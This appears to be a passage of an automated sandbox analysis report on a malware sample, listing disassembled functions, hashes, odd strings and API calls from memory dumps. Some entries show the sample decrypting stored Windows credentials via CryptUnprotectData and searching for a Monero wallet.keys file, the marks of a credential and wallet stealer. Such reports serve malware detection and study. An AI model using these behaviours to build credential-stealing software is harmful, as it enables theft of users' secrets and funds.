Download Yara Rule

Strings

o)W', xrefs: 00EDE008
^lM, xrefs: 00EDE13B
a,}l, xrefs: 00EDE28F

Memory Dump Source

Source File: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ^lM$a,}l$o)W'
API String ID: 0-1291390679
Opcode ID: c1d4b6e205df9b0e6fdb5ef93fe3e3865e4e9cf34c22b13516329cbd9a499106
Instruction ID: 65edc681b631d9d4f6a6121fbf8dc2615d173fe9d59794efe292a5ce5749305f
Opcode Fuzzy Hash: c1d4b6e205df9b0e6fdb5ef93fe3e3865e4e9cf34c22b13516329cbd9a499106
Instruction Fuzzy Hash: EBB239F36082049FD304AE2DEC8567AFBE9EF94720F1A493DEAC5C7744E93598058693

Function 00EDBCB7 Relevance: 5.1, Strings: 3, Instructions: 1319COMMON

Download Yara Rule

Strings

An~=, xrefs: 00EDC36C
m[}w, xrefs: 00EDBF70
4wy, xrefs: 00EDCBC5

Memory Dump Source

Source File: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 4wy$An~=$m[}w
API String ID: 0-1696683974
Opcode ID: 05fa59f7a442931669c77dceaa637ac1c8f7c9425af070fa046a0459b80431a8
Instruction ID: 7ee199964c020fb10b1ed393c765fa419a4f5d03c8274b3a36aea6122c85b43a
Opcode Fuzzy Hash: 05fa59f7a442931669c77dceaa637ac1c8f7c9425af070fa046a0459b80431a8
Instruction Fuzzy Hash: 499227F360C204AFE7046E2DEC8567AFBE9EF94320F1A493DE6C5D3740EA7558018696

Function 00B13720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(00B1E118,00000000,00000001,00B1E108,00000000), ref: 00B13758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00B137B0

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: bf2ecf64433e11e9e77c7b20adef9acd59f79a68bc574fd857116314e7c53ba2
Instruction ID: d778f49479bee47ce242fe96c98a4a65f3f3853ce9dfe575946a9def1110ea36
Opcode Fuzzy Hash: bf2ecf64433e11e9e77c7b20adef9acd59f79a68bc574fd857116314e7c53ba2
Instruction Fuzzy Hash: BB41D774A40A289FDB24DB58CC95BDAB7B5BB48702F4041D8A618E72D0E771AEC5CF50

Function 00B09B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00B09B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00B09BA3
LocalFree.KERNEL32(?), ref: 00B09BD3

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 7d8a06ed8440bf58506ed257d443e3e3338864c071dc69fbe05f826782afb90d
Instruction ID: 093f52250a2bec3cce61f8327a3065d484bda078c9011d0d8c081f865b8181c3
Opcode Fuzzy Hash: 7d8a06ed8440bf58506ed257d443e3e3338864c071dc69fbe05f826782afb90d
Instruction Fuzzy Hash: C511CCB9A00209EFDB04DF98D985AAE77F5FF89300F104598E91597390D774AE10CF61

Function 00D87FC0 Relevance: 4.0, Strings: 3, Instructions: 203COMMON

Download Yara Rule

Strings

b{M, xrefs: 00D880F9
`M|z, xrefs: 00D88010
Sjg[, xrefs: 00D880C4

Memory Dump Source

Source File: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Sjg[$`M|z$b{M
API String ID: 0-3163793524
Opcode ID: 43919284756039df6387217bd70a5a231b712a4a5d152d007a9884c85e5d628f
Instruction ID: 49dfb285376e02ad052cf497c3b39858657fd52bd06ee8d66d86393f3b108b4d
Opcode Fuzzy Hash: 43919284756039df6387217bd70a5a231b712a4a5d152d007a9884c85e5d628f
Instruction Fuzzy Hash: 185158F3F082144BF3009978DC897AAB6D6DBD4320F2B463DDA98CB7C4D97D98458282

Function 00E65303 Relevance: 2.8, Strings: 2, Instructions: 258COMMON

Download Yara Rule

Strings

HVyv, xrefs: 00E65543
>\, xrefs: 00E65503

Memory Dump Source

Source File: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID:
String ID: HVyv$>\
API String ID: 0-261519995
Opcode ID: 72dfd7eb339f6c65c45aac54e36b4815de034c2ffc03dbe577e25bd07a6b5c98
Instruction ID: 08f662e324b0087205afc7af139ca2bf7fb73ca2e1c8c6bfd5a99e4a35d6fcd3
Opcode Fuzzy Hash: 72dfd7eb339f6c65c45aac54e36b4815de034c2ffc03dbe577e25bd07a6b5c98
Instruction Fuzzy Hash: 488136F3D186204BE3146E39EC84776B7D9DB94720F2B863DDF98A3784E979580482C6

Function 00B0F68A Relevance: 1.6, APIs: 1, Instructions: 63fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B1A740: lstrcpy.KERNEL32(00B20E17,00000000), ref: 00B1A788

Part of subcall function 00B1A920: lstrcpy.KERNEL32(00000000,?), ref: 00B1A972
Part of subcall function 00B1A920: lstrcat.KERNEL32(00000000), ref: 00B1A982

Part of subcall function 00B1A9B0: lstrlen.KERNEL32(?,011F8B70,?,\Monero\wallet.keys,00B20E17), ref: 00B1A9C5
Part of subcall function 00B1A9B0: lstrcpy.KERNEL32(00000000), ref: 00B1AA04
Part of subcall function 00B1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B1AA12

Part of subcall function 00B1A8A0: lstrcpy.KERNEL32(?,00B20E17), ref: 00B1A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00B215B8,00B20D96), ref: 00B0F71E
StrCmpCA.SHLWAPI(?,00B215BC), ref: 00B0F76F
StrCmpCA.SHLWAPI(?,00B215C0), ref: 00B0F785
FindNextFileA.KERNEL32(000000FF,?), ref: 00B0FAB1
FindClose.KERNEL32(000000FF), ref: 00B0FAC3

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: d7bd88228c41c47a83da6ea6be90487ff70b94821367e25325095ae9568bdad7
Instruction ID: ca4d46feb1107c022185005a6fb52922f799bc0b6518d14661466b3af9071af6
Opcode Fuzzy Hash: d7bd88228c41c47a83da6ea6be90487ff70b94821367e25325095ae9568bdad7
Instruction Fuzzy Hash: 9A11963580115D9BDB24FBB0DD559ED77B8AF10310F8046E9A51A674D2EF303B8ACB92

Function 00D7D8F0 Relevance: 1.5, Strings: 1, Instructions: 242COMMON

Download Yara Rule

Strings

Q=?, xrefs: 00D7DA34

Memory Dump Source

Source File: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Q=?
API String ID: 0-2595168370
Opcode ID: 4dc7264ba28d59f8a4dc7eaa8723086e05799c56cb624e9f67cb2b38171a67ef
Instruction ID: 6a757c1cc500f7223d2354617ad33bb7a9b59ce453b32df36d4901aa6e683785
Opcode Fuzzy Hash: 4dc7264ba28d59f8a4dc7eaa8723086e05799c56cb624e9f67cb2b38171a67ef
Instruction Fuzzy Hash: 427123B3E182105BF308A929DC9576BB6D5EB94320F1B463DEE99E7784D9395C0182C2

Function 00E6D6A5 Relevance: 1.5, Strings: 1, Instructions: 222COMMON

Download Yara Rule

Strings

.+a}, xrefs: 00E6D7DE

Memory Dump Source

Source File: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .+a}
API String ID: 0-132381047
Opcode ID: 6852bfe17ab8d17de0e242fea7f21b652597da26253ad939e3b83b94fe0e7341
Instruction ID: f44e2b1db37ac265ce446f7f5b8a4a831755867656064575b94808d5acfc4a00
Opcode Fuzzy Hash: 6852bfe17ab8d17de0e242fea7f21b652597da26253ad939e3b83b94fe0e7341
Instruction Fuzzy Hash: 1D6146F3A483046BE308AE6EDC8177AB7DAEBD4320F16853DE7C587780E97945018296

Function 00ED2392 Relevance: .8, Instructions: 817COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac96961764b2d35450ff9e850d9adbd84838bef0daeab6c31776014814c5f119
Instruction ID: 2d2cf63ec494daf952179407cc7441456a16f2a909bbda0f9889e57dc9110063
Opcode Fuzzy Hash: ac96961764b2d35450ff9e850d9adbd84838bef0daeab6c31776014814c5f119
Instruction Fuzzy Hash: 5942D4F3A0C2049FD3046E29EC8577AFBE9EF94720F1A892DE6C483744E63598458797

Function 00E393D0 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d83897f0541f83be60fcdaa05ae66ecb03d97b2b97f7715001c5e7dddd66ec27
Instruction ID: cea1703167b8b71435f1a5c8aa43f2c77a26530485690bb867049acfcb3fb63e
Opcode Fuzzy Hash: d83897f0541f83be60fcdaa05ae66ecb03d97b2b97f7715001c5e7dddd66ec27
Instruction Fuzzy Hash: B75108F3A186005FF348BE2DDC8577AB6D5EF88320F5A453DDAC9C7784E93958018692

Function 00E7F9BE Relevance: .2, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8e27afb8940ba3a695a49ef20eec170914d3bd772b7d95b8a6f901085c8d403
Instruction ID: c3fe44360a76d7bad1766b2c5973e1c16c6e34f0f9a8ad7766eabdec2b7ee48e
Opcode Fuzzy Hash: d8e27afb8940ba3a695a49ef20eec170914d3bd772b7d95b8a6f901085c8d403
Instruction Fuzzy Hash: 00516EF3A192055FE300AD3CDD89776B7D6EBD0320F1E863DEA84C7749E93899058691

Function 00D7FF2C Relevance: .2, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
